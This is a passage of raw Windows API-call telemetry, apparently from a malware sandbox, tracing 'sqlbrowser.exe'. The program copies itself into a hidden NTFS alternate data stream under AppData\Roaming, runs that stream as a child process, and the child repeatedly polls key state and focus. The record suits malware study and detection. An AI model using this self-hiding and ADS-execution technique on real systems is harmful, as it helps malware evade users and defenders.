ftLastWriteTime.dwLowDateTime=0x18fc6c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0025.963] GetLastError () returned 0x7b [0025.963] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fea60) returned 1 [0025.963] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x21d2a00 [0025.963] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d2a00) returned 1 [0025.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhj~1"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x48, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x22f0000, ftLastAccessTime.dwLowDateTime=0x21d2a00, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fc6c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0025.963] GetLastError () returned 0x2 [0025.963] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhj~1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x120 [0025.963] SetFileTime (hFile=0x120, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0025.963] WriteFile (in: hFile=0x120, lpBuffer=0x21d29b8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x21d29b8*, lpNumberOfBytesWritten=0x18f98c*=0x0, lpOverlapped=0x0) returned 1 [0025.964] NtClose (Handle=0x120) returned 0x0 [0025.964] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe950) returned 1 [0025.964] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe9d8) returned 1 [0025.964] FindClose (in: hFindFile=0x5d67a0 | out: hFindFile=0x5d67a0) returned 1 [0025.964] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.964] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe840) returned 1 [0025.964] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x800) returned 0x21d3958 [0025.964] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21d3958, nSize=0x200 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sqlbrowser.exe")) returned 0x34 [0025.964] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe840 [0025.964] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sqlbrowser.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23553300, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x23553300, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x20f2d900, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0025.964] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sqlbrowser.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0025.964] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 0 [0025.964] GetFileSize (in: hFile=0x124, lpFileSizeHigh=0x18f94c | out: lpFileSizeHigh=0x18f94c*=0x0) returned 0x27000 [0025.964] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0025.964] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x27000) returned 0x21d9ea8 [0025.966] ReadFile (in: hFile=0x124, lpBuffer=0x21d9ea8, nNumberOfBytesToRead=0x27000, lpNumberOfBytesRead=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x21d9ea8*, lpNumberOfBytesRead=0x18f98c*=0x27000, lpOverlapped=0x0) returned 1 [0025.967] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x27000) returned 0x2200eb0 [0025.969] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d9ea8) returned 1 [0025.969] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x27000) returned 0x21d9ea8 [0025.969] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d29b8) returned 1 [0025.969] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x2200eb0) returned 1 [0025.969] NtClose (Handle=0x124) returned 0x0 [0025.969] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe840) returned 1 [0025.969] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d3958) returned 1 [0025.969] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe840 [0025.969] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhj~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x22f0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fc6c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0025.969] GetLastError () returned 0x2 [0025.969] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhj~1:bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x124 [0025.969] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0025.969] WriteFile (in: hFile=0x124, lpBuffer=0x21d9ea8*, nNumberOfBytesToWrite=0x27000, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x21d9ea8*, lpNumberOfBytesWritten=0x18f98c*=0x27000, lpOverlapped=0x0) returned 1 [0025.973] NtClose (Handle=0x124) returned 0x0 [0025.975] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe840) returned 1 [0025.975] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d9ea8) returned 1 [0025.975] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe840 [0025.975] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x100) returned 0x21d2850 [0025.975] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe840) returned 1 [0025.975] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin C:\\Users\\5P5NRG~1\\Desktop\\SQLBRO~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fc14*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fc04 | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin C:\\Users\\5P5NRG~1\\Desktop\\SQLBRO~1.EXE", lpProcessInformation=0x18fc04*(hProcess=0x120, hThread=0x124, dwProcessId=0x7b4, dwThreadId=0x7d8)) returned 1 [0025.982] NtClose (Handle=0x124) returned 0x0 [0025.982] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d2850) returned 1 [0025.982] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d9510) returned 1 [0025.982] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d8d08) returned 1 [0025.982] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d8500) returned 1 [0025.982] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe840 [0025.982] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.982] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe840) returned 1 [0025.982] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.982] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d7cf8) returned 1 [0025.982] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0025.982] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe268) returned 1 [0025.982] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd288) returned 1 [0025.983] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd5e8) returned 1 [0025.983] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0x920 Process: id = "2" image_name = "dp1uhj~1:bin" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhj~1:bin" page_root = "0x336f4000" os_pid = "0x7b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x67c" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin C:\\Users\\5P5NRG~1\\Desktop\\SQLBRO~1.EXE" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x7d8 [0026.085] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin C:\\Users\\5P5NRG~1\\Desktop\\SQLBRO~1.EXE" [0026.085] GetStockObject (i=168) returned 0x0 [0026.085] GetAsyncKeyState (vKey=58) returned 0 [0026.085] GetKBCodePage () returned 0x1b5 [0026.085] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.090] GetFocus () returned 0x0 [0026.090] GetAsyncKeyState (vKey=58) returned 0 [0026.090] GetKBCodePage () returned 0x1b5 [0026.090] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.090] GetFocus () returned 0x0 [0026.090] GetAsyncKeyState (vKey=58) returned 0 [0026.090] GetKBCodePage () returned 0x1b5 [0026.090] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.090] GetFocus () returned 0x0 [0026.090] GetAsyncKeyState (vKey=58) returned 0 [0026.090] GetKBCodePage () returned 0x1b5 [0026.090] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.090] GetFocus () returned 0x0 [0026.090] GetAsyncKeyState (vKey=58) returned 0 [0026.090] GetKBCodePage () returned 0x1b5 [0026.090] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.090] GetFocus () returned 0x0 [0026.090] GetAsyncKeyState (vKey=58) returned 0 [0026.090] GetKBCodePage () returned 0x1b5 [0026.090] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.090] GetFocus () returned 0x0 [0026.090] GetAsyncKeyState (vKey=58) returned 0 [0026.090] GetKBCodePage () returned 0x1b5 [0026.090] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.090] GetFocus () returned 0x0 [0026.090] GetAsyncKeyState (vKey=58) returned 0 [0026.090] GetKBCodePage () returned 0x1b5 [0026.090] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.090] GetFocus () returned 0x0 [0026.090] GetAsyncKeyState (vKey=58) returned 0 [0026.090] GetKBCodePage () returned 0x1b5 [0026.090] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.090] GetFocus () returned 0x0 [0026.090] GetAsyncKeyState (vKey=58) returned 0 [0026.091] GetKBCodePage () returned 0x1b5 [0026.091] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.091] GetFocus () returned 0x0 [0026.091] GetAsyncKeyState (vKey=58) returned 0 [0026.091] GetKBCodePage () returned 0x1b5 [0026.091] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.091] GetFocus () returned 0x0 [0026.091] GetAsyncKeyState (vKey=58) returned 0 [0026.091] GetKBCodePage () returned 0x1b5 [0026.091] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.091] GetFocus () returned 0x0 [0026.091] GetAsyncKeyState (vKey=58) returned 0 [0026.091] GetKBCodePage () returned 0x1b5 [0026.091] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.091] GetFocus () returned 0x0 [0026.091] GetAsyncKeyState (vKey=58) returned 0 [0026.091] GetKBCodePage () returned 0x1b5 [0026.091] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.091] GetFocus () returned 0x0 [0026.091] GetAsyncKeyState (vKey=58) returned 0 [0026.091] GetKBCodePage () returned 0x1b5 [0026.091] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.091] GetFocus () returned 0x0 [0026.091] GetAsyncKeyState (vKey=58) returned 0 [0026.091] GetKBCodePage () returned 0x1b5 [0026.091] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.091] GetFocus () returned 0x0 [0026.091] GetAsyncKeyState (vKey=58) returned 0 [0026.091] GetKBCodePage () returned 0x1b5 [0026.091] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.091] GetFocus () returned 0x0 [0026.091] GetAsyncKeyState (vKey=58) returned 0 [0026.091] GetKBCodePage () returned 0x1b5 [0026.091] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.091] GetFocus () returned 0x0 [0026.092] GetAsyncKeyState (vKey=58) returned 0 [0026.092] GetKBCodePage () returned 0x1b5 [0026.092] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.092] GetFocus () returned 0x0 [0026.092] GetAsyncKeyState (vKey=58) returned 0 [0026.092] GetKBCodePage () returned 0x1b5 [0026.092] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.092] GetFocus () returned 0x0 [0026.092] GetAsyncKeyState (vKey=58) returned 0 [0026.092] GetKBCodePage () returned 0x1b5 [0026.092] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.092] GetFocus () returned 0x0 [0026.092] GetAsyncKeyState (vKey=58) returned 0 [0026.092] GetKBCodePage () returned 0x1b5 [0026.092] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.092] GetFocus () returned 0x0 [0026.092] GetAsyncKeyState (vKey=58) returned 0 [0026.092] GetKBCodePage () returned 0x1b5 [0026.092] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.092] GetFocus () returned 0x0 [0026.092] GetAsyncKeyState (vKey=58) returned 0 [0026.092] GetKBCodePage () returned 0x1b5 [0026.092] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.092] GetFocus () returned 0x0 [0026.092] GetAsyncKeyState (vKey=58) returned 0 [0026.092] GetKBCodePage () returned 0x1b5 [0026.092] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.092] GetFocus () returned 0x0 [0026.092] GetAsyncKeyState (vKey=58) returned 0 [0026.092] GetKBCodePage () returned 0x1b5 [0026.092] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.092] GetFocus () returned 0x0 [0026.092] GetAsyncKeyState (vKey=58) returned 0 [0026.092] GetKBCodePage () returned 0x1b5 [0026.092] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.093] GetFocus () returned 0x0 [0026.093] GetAsyncKeyState (vKey=58) returned 0 [0026.093] GetKBCodePage () returned 0x1b5 [0026.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.093] GetFocus () returned 0x0 [0026.093] GetAsyncKeyState (vKey=58) returned 0 [0026.093] GetKBCodePage () returned 0x1b5 [0026.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.093] GetFocus () returned 0x0 [0026.093] GetAsyncKeyState (vKey=58) returned 0 [0026.093] GetKBCodePage () returned 0x1b5 [0026.093] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.093] GetFocus () returned 0x0 [0026.093] GetAsyncKeyState (vKey=58) returned 0 [0026.093] GetKBCodePage () returned 